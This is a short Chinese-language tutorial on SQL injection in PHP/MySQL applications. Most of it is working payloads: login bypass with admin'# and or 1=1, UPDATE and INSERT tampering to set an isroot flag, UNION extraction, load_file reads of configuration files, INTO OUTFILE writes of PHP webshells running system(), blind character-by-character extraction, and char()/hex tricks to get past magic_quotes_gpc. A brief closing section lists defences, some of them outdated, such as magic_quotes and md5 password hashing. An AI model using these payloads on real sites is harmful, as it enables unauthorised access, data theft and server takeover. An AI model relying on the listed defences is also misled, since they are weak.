PHP 中的SQL流入

PHP 中的SQL注入

magic_quotes_gpc=Off的情况
1.字符串的注入
select:
正常select * from user where username='admin' and password='12$%&*'
利用#作为mysql中的注释:提交username的注入 admin'# 语句变为select * from user where username='admin'#' and password='12$%&*'
或者是admin' or 1=1  语句变为select * from user where username='admin' or 1=1 and password='12$%&*'

update:
同理把UPDATE users SET password='abc',email='will@163.com’ WHERE id=1
转为UPDATE users SET password='abc',email='will@163.com’,isroot=’1’ WHERE id=1

insert:
同理INSERT INTO user VALUES('$id','$login','$pass','$email',’2')
改为INSERT INTO user VALUES ('id','name','pass','will@163.com’,’1’)#','2')

注:浏览器url无法提交# 号,用%23代替

2.VERSION(),DATABASE(),USER() ,SYSTEM_USER() ,SESSION_USER()
获取版本用户名等信息查找mysql
select user(),database(),version();

3.利用union
select title from test where id=1 and 1<>1 union select password from user;

读文件:
select id,name from user where id=1 and 1<>1 union select 1,load_file('c:/../sql.inc');
有可能搞到了配置信息了噢

写文件:
select name from user where id=1 and 1<>1 union select '<?php phpinfo(); ?>' from user into outfile '../a.php';
现在可以访问a.php看看吧。如果是<?php system(dir); ?>呢


知道同一个表的id以及表名。然后猜测用户名第一位是否为a:  select id from user where id=1 and ascii(mid(name,1,1))=97;
看另一个表:select id from test where id=(select 1 from user where ascii(mid(name,1,1))=97);


magic_quotes_gpc=On的情况(字段如果是字符串,那么就很难注入了,所以写成where id='$id'可以安全很多啊)
magic_quotes_gpc绕过法:
 不能输入'号了,那么
'a'相当于char(39,97,39)
select 0x273B;输出 '; 这个也不错的
需要字符串的话可以用char或者16进制,这样就绕过了magic_quotes_gpc了


3.核心技术,利用php+mysql注入漏洞直接写入webshell。。
上传文件,文件内容<?php system(dir); ?>,改文件名为jpg,然后利用上面的写文件方法了,配合magic_quotes_gpc绕过法使用


防注入:

有可能的话打开安全模式, display_errors=off, magic_quote_gpc=on
addslashes()或者mysql_real_escape_string()
程序判断:intval()的使用

字段值都用'$id'的方式来用


一个管理员:username和password用md5加密